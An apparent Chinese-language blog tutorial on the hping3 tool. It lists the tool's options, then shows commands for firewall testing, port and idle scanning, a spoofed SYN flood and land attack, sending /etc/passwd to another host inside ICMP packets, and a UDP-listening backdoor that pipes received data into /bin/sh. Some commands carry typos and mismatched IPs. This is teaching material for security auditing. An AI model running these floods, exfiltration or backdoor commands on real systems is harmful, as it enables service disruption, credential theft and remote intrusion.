hping3功能以及引數介紹

一隻青木呀發表於2020-10-21

1.hping3

hping 是面向命令列的用於生成和解析TCP/IP協議資料包彙編分析的開源工具。

目前最新版是hping3,它支援TCP,UDP,ICMP,和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的通道之間傳送檔案以及許多其他功能.

hping3是安全審計,防火牆測試等工作的標配工具,haping優勢在於能夠定製資料包的各個部分,因此使用者可以靈活對目標機經行細緻的探測.

2.hping3用法

格式:

 hping3 host [options]
引數縮寫引數描述
-h–help顯示幫助
-v–version顯示版本
-c–count傳送資料包的數目
-i–interval傳送資料包間隔的時間 (uX即X微秒, 例如: -i u1000)
–fast等同 -i u10000 (每秒10個包)
–faster等同 -i u1000 (每秒100個包)
–flood盡最快傳送資料包,不顯示回覆。
-n–numeric數字化輸出,象徵性輸出主機地址。
-q–quiet安靜模式
-I–interface網路卡介面 (預設路由介面)
-V–verbose詳細模式
-D–debug除錯資訊
-z–bind繫結ctrl+z到ttl(預設為目的埠)
-Z–unbind取消繫結ctrl+z鍵
–beep對於接收到的每個匹配資料包蜂鳴聲提示

3.模式選擇

編號模式描述
default modeTCP預設模式是 TCP
-0 或 --rawipRAWIP模式,原始IP模式在此模式下HPING會傳送帶資料的IP頭。即裸IP方式。使用RAWSOCKET方式。
-1 或 --icmpICMP模式此模式下HPING會傳送IGMP應答報,你可以用–ICMPTYPE --ICMPCODE選項傳送其他型別/模式的ICMP報文。
-2 或 --udpUDP 模式預設下,HPING會傳送UDP報文到主機的0埠,你可以用–baseport --destport --keep選項指定其模式。
-8 或 --scanSCAN mode掃描模式 指定掃描對應的埠。Example: hping --scan 1-30,70-90 -S www.target.host // 掃描
-9 或 --listenlisten mode監聽模式

4. IP 模式

引數縮寫引數描述
-a–spoofspoof source address //源地址欺騙。偽造IP攻擊,防火牆就不會記錄你的真實IP了,當然回應的包你也接收不到了。
–rand-destrandom destionation address mode. see the man. // 隨機目的地址模式。詳細使用 man 命令
–rand-sourcerandom source address mode. see the man. // 隨機源地址模式。詳細使用 man 命令
-t–ttlttl (預設 64) //修改 ttl 值
-N–idid (預設 隨機) // hping 中的 ID 值,預設為隨機值
-W–winid使用win* id位元組順序 //使用winid模式,針對不同的作業系統。UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。
-r–rel相對id欄位(估計主機流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
-f–frag拆分資料包更多的frag. (may pass weak acl) //分段,可以測試對方或者交換機碎片處理能力,預設16位元組。
-x–morefrag設定更多的分段標誌 // 大量碎片,淚滴攻擊。
-y–dontfrag設定不分段標誌 // 傳送不可恢復的IP碎片,這可以讓你瞭解更多的MTU PATH DISCOVERY。
-g–fragoffset the fragment offset // 設定斷偏移。
-m–mtu設定虛擬最大傳輸單元, implies --frag if packet size > mtu // 設定虛擬MTU值,當大於mtu的時候分段。
-o–tostype of service (default 0x00), try --tos help // tos欄位,預設0x00,盡力而為?
-G–rrouteincludes RECORD_ROUTE option and display the route buffer // 記錄IP路由,並顯示路由緩衝。
–lsrr鬆散源路由並記錄路由 // 鬆散源路由
–ssrr嚴格源路由並記錄路由 // 嚴格源路由
-H–ipproto設定IP協議欄位,僅在RAW IP模式下使用 //在RAW IP模式裡選擇IP協議。設定ip協議域,僅在RAW ip模式使用。

5. ICMP 模式

引數縮寫引數描述
-C–icmptypeicmp型別(預設echo請求) // ICMP型別,預設回顯請求。
-K–icmpcodeicmp代號(預設0) // ICMP程式碼。
–force-icmp傳送所有icmp型別(預設僅傳送支援的型別) // 強制ICMP型別。
–icmp-gw設定ICMP重定向閘道器地址(預設0.0.0.0) // ICMP重定向
–icmp-ts等同 --icmp --icmptype 13 (ICMP 時間戳) // icmp時間戳
–icmp-addr等同 --icmp --icmptype 17 (ICMP 地址子網掩碼) // icmp子網地址
–icmp-help顯示其他icmp選項幫助 // ICMP幫助

6. UDP/TCP 模式

引數縮寫引數描述
-s–baseportbase source port (default random) // 預設隨機源埠
-p–destport[+][+] destination port(default 0) ctrl+z inc/dec // 預設隨機源埠
-k–keepkeep still source port // 保持源埠
-w–winwinsize (default 64) // win的滑動視窗。windows傳送位元組(預設64)
-O–tcpoffset fake tcp data offset (instead of tcphdrlen / 4) // 設定偽造tcp資料偏移量(取代tcp地址長度除4)
-Q–seqnumshows only tcp sequence number // 僅顯示tcp序列號
-b–badcksum(嘗試)傳送具有錯誤IP校驗和資料包。許多系統將修復傳送資料包的IP校驗和。所以你會得到錯誤UDP/TCP校驗和。
-M–setseq設定TCP序列號
-L–setack設定TCP的ack ------------------------------------- (不是 TCP 的 ACK 標誌位)
-F–finset FIN flag
-S–synset SYN flag
-R–rstset RST flag
-P–pushset PUSH flag
-A–ackset ACK flag ------------------------------------- (設定 TCP 的 ACK 標誌 位)
-U–urgset URG flag // 一大堆IP抱頭的設定。
-X–xmasset X unused flag (0x40)
-Y–ymasset Y unused flag (0x80)
–tcpexitcode使用last tcp-> th_flags作為退出碼
–tcp-mss啟用具有給定值的TCP MSS選項
–tcp-timestamp啟用TCP時間戳選項來猜測HZ/uptime

7.Common //通用設定

引數縮寫引數描述
-d–datadata size (default is 0) // 傳送資料包大小,預設是0。
-E–file檔案資料
-e–sign新增“簽名”
-j–dump轉儲為十六進位制資料包
-J–print轉儲為可列印字元
-B–safe啟用“安全”協議
-u–end告訴你什麼時候–file達到EOF並防止倒回
-T–traceroutetraceroute模式(等同使用 --bind 且–ttl 1)
–tr-stop在traceroute模式下收到第一個不是ICMP時退出
–tr-keep-ttl保持源TTL固定,僅用於監視一跳
–tr-no-rtt不要在跟蹤路由模式下計算/顯示RTT資訊 ARS包描述(新增功能,不穩定)ARS packet description (new, unstable)
–apd-send傳送APD描述資料包(參見docs / APD.txt)

8. Hping3 功能

8.1 防火牆測試

使用Hping3指定各種資料包欄位,依次對防火牆進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html

測試防火牆對ICMP包的反應、是否支援traceroute、是否開放某個埠、對防火牆進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火牆(Land Attack是將傳送源地址設定為與目標地址相同,誘使目標機與自己不停地建立連線)。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

8.2 埠掃描

Hping3也可以對目標埠進行掃描。Hping3支援指定TCP各個標誌位、長度等資訊。以下示例可用於探測目標機的80埠是否開放:

hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0埠,-S指定TCP包的標誌位SYN,-p 80指定探測的目的埠。

hping3支援非常豐富的埠探測方式,nmap擁有的掃描方式hping3幾乎都支援(除開connect方式,因為Hping3僅傳送與接收包,不會維護連線,所以不支援connect方式探測)。而且Hping3能夠對傳送的探測進行更加精細的控制,方便使用者微調探測結果。當然,Hping3的埠掃描效能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量埠進行掃描。

8.3 Idle掃描

Idle掃描(Idle Scanning)是一種匿名掃描遠端主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。

該掃描原理是:尋找一臺idle主機(該主機沒有任何的網路流量,並且IPID是逐個增長的),攻擊端主機先向idle主機傳送探測包,從回覆包中獲取其IPID。冒充idle主機的IP地址向遠端主機的埠傳送SYN包(此處假設為SYN包),此時如果遠端主機的目的埠開放,那麼會回覆SYN/ACK,此時idle主機收到SYN/ACK後回覆RST包。然後攻擊端主機再向idle主機傳送探測包,獲取其IPID。那麼對比兩次的IPID值,我們就可以判斷遠端主機是否回覆了資料包,從而間接地推測其埠狀態。

8.4 拒絕服務攻擊

使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連線,偽造源地址為192.168.10.99,並使用1000微秒的間隔傳送各個SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構建出來。

8.5 檔案傳輸

Hping3支援通過TCP/UDP/ICMP等包來進行檔案傳輸。相當於藉助TCP/UDP/ICMP包建立隱祕隧道通訊。實現方式是開啟監聽埠,對檢測到的簽名(簽名為使用者指定的字串)的內容進行相應的解析。在接收端開啟服務:

hping3 192.168.1.159–listen signature --safe --icmp
監聽ICMP包中的簽名,根據簽名解析出檔案內容。

在傳送端使用簽名打包的ICMP包傳送檔案:

hping3 192.168.1.108–icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼檔案通過ICMP包傳給192.168.10.44主機。傳送包大小為100位元組(-d 100),傳送簽名為signature(-sign signature)。

8.6 木馬功能

如果Hping3能夠在遠端主機上啟動,那麼可以作為木馬程式啟動監聽埠,並在建立連線後開啟shell通訊。與netcat的後門功能類似。

示例:本地開啟53號UDP埠(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的資料包,並將收到的資料呼叫/bin/sh執行。

在木馬啟動端:

hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在遠端控制端:

echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的檔案加上簽名signature傳送到192.168.10.44主機的53號UDP埠,包資料長度為100位元組。

9. 埠掃描測試

實驗靶機:

Windows7   IP: 192.168.214.132

Metasploitable   IP: 192.168.214.133

在Kali端輸入命令:


udo hping3 -I eth0 -S 192.168.214.133 -p 80

在這裡插入圖片描述
說明通訊成功,80埠已開啟

相關文章